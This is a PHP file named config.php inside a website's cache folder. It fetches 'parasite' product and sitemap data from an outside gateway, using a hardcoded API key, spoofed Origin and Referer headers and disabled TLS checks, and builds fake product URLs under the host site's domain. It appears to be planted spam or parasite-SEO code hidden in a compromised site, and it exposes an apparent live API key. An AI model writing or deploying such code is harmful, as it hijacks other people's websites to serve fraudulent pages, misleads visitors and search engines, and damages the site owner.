File: /home/sioberen/www/cache/config.php
<?php
date_default_timezone_set('UTC');
if (!defined('USE_CURL')) {
define('USE_CURL', false); // true=使用curl, false=使用file_get_contents
}
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
$protocol = "https://";
$site_domain = $host;
$document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '/var/www/html';
$script_path = str_replace($document_root, '', __DIR__);
$base_parasite_url = rtrim($protocol . $site_domain, '/');
$GLOBALS['base_parasite_url'] = $base_parasite_url;
$default_data = array(
'brand' => 'Generic Brand',
'rating' => array(
'score' => number_format(rand(40, 50) / 10, 1),
'count' => rand(15, 150)
),
'currency' => 'USD',
'default_image' => 'https://cdn.suruga-ya.jp/database/images/no_photo.jpg'
);
define('API_BASE_URL', 'https://gateway.qrstabcd.com/api/parasiteData/getParasiteData');
define('API_KEY', '881c355b2599f4d6e2918f89ad79388cf7fe87115fe135d0d06ecad2a47e39a5');
define('API_DOMAIN', 'gateway.qrstabcd.com');
define('ASITE_DOMAIN', 'https://berendisigorta.com.tr');
define('ID_OFFSET', 94296);
define('URL_TEMPLATE', 'products/{title}/{id}');
function getParasiteData($productId = null) {
$url = API_BASE_URL;
$needTitle = strpos(URL_TEMPLATE, '{title}') !== false;
$params = array();
if ($productId) {
$params['product_id'] = $productId;
}
if ($needTitle) {
$params['title'] = 'true';
}
if (!empty($params)) {
$url .= '?' . http_build_query($params);
}
if (USE_CURL) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-API-Key: ' . API_KEY,
'Host: ' . API_DOMAIN,
'Origin: ' . ASITE_DOMAIN,
'Referer: ' . ASITE_DOMAIN . '/',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
curl_close($ch);
} else {
$headers = array(
'X-API-Key: ' . API_KEY,
'Host: ' . API_DOMAIN,
'Origin: ' . ASITE_DOMAIN,
'Referer: ' . ASITE_DOMAIN . '/',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
);
$context = stream_context_create(array(
'http' => array(
'timeout' => 10,
'header' => implode("\r\n", $headers)
)
));
$response = @file_get_contents($url, false, $context);
}
if ($response === false) {
return null;
}
$result = json_decode($response, true);
return isset($result['data']) ? $result['data'] : null;
}
function getSitemapData() {
$url = 'https://' . API_DOMAIN . '/api/parasiteData/getSitemapData';
// ???????????????
$needTitle = strpos(URL_TEMPLATE, '{title}') !== false;
if ($needTitle) {
$url .= '?title=true';
}
if (USE_CURL) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-API-Key: ' . API_KEY,
'Host: ' . API_DOMAIN,
'Origin: ' . ASITE_DOMAIN,
'Referer: ' . ASITE_DOMAIN . '/',
'Content-Type: application/json',
'Accept: application/json',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
curl_close($ch);
} else {
$headers = array(
'X-API-Key: ' . API_KEY,
'Host: ' . API_DOMAIN,
'Origin: ' . ASITE_DOMAIN,
'Referer: ' . ASITE_DOMAIN . '/',
'Content-Type: application/json',
'Accept: application/json',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
);
$context = stream_context_create(array(
'http' => array(
'timeout' => 30,
'header' => implode("\r\n", $headers)
)
));
$response = @file_get_contents($url, false, $context);
}
if ($response === false) {
return null;
}
$result = json_decode($response, true);
return isset($result['data']) ? $result['data'] : null;
}
function buildProductUrl($productId, $productTitle = null) {
$template = URL_TEMPLATE;
$baseUrl = $GLOBALS['base_parasite_url'];
$displayId = (int)$productId + ID_OFFSET;
if (strpos($template, '?') === 0) {
return $baseUrl . '/' . str_replace('{id}', $displayId, $template);
} else {
$url = $template;
if (strpos($template, '{title}') !== false) {
if ($productTitle) {
$cleanTitle = cleanTitleForURL($productTitle);
$url = str_replace('{title}', $cleanTitle, $url);
} else {
$url = str_replace('{title}', 'shopdetail', $url);
}
}
$url = str_replace('{id}', $displayId, $url);
return $baseUrl . '/' . $url . '/';
}
}
function cleanTitleForURL($title) {
if (empty($title)) {
return '';
}
$title = strtolower($title);
$title = preg_replace('/[^a-z0-9\s-]/', '', $title);
$title = preg_replace('/\s+/', '-', $title);
$title = preg_replace('/-+/', '-', $title);
$title = trim($title, '-');
if (empty($title)) {
$title = '';
}
return $title;
}
function parseProductId($requestUri) {
$template = URL_TEMPLATE;
$displayId = null;
if (strpos($template, '?') === 0) {
$query = parse_url($requestUri, PHP_URL_QUERY);
parse_str($query, $params);
$paramName = trim($template, '?={id}');
$displayId = isset($params[$paramName]) ? $params[$paramName] : null;
} else {
// 首先尝试路径解析
$path = parse_url($requestUri, PHP_URL_PATH);
$segments = explode('/', trim($path, '/'));
$templateSegments = explode('/', $template);
// 处理包含 {title} 的模板
if (strpos($template, '{title}') !== false) {
// 查找 {id} 在模板中的位置
foreach ($templateSegments as $index => $segment) {
if ($segment === '{id}' && isset($segments[$index])) {
$displayId = $segments[$index];
break;
}
}
} else {
// 原有逻辑
foreach ($templateSegments as $index => $segment) {
if ($segment === '{id}' && isset($segments[$index])) {
$displayId = $segments[$index];
break;
}
}
}
if ($displayId === null) {
$query = parse_url($requestUri, PHP_URL_QUERY);
if ($query && strpos($query, 'shopdetail/') === 0) {
$queryPath = trim($query, '/');
$querySegments = explode('/', $queryPath);
$shopdetailIndex = array_search('shopdetail', $querySegments);
if ($shopdetailIndex !== false && isset($querySegments[$shopdetailIndex + 2])) {
$displayId = end($querySegments);
}
}
}
}
// 减去偏移量得到真实ID
if ($displayId !== null && is_numeric($displayId)) {
return $displayId - ID_OFFSET;
}
return null;
}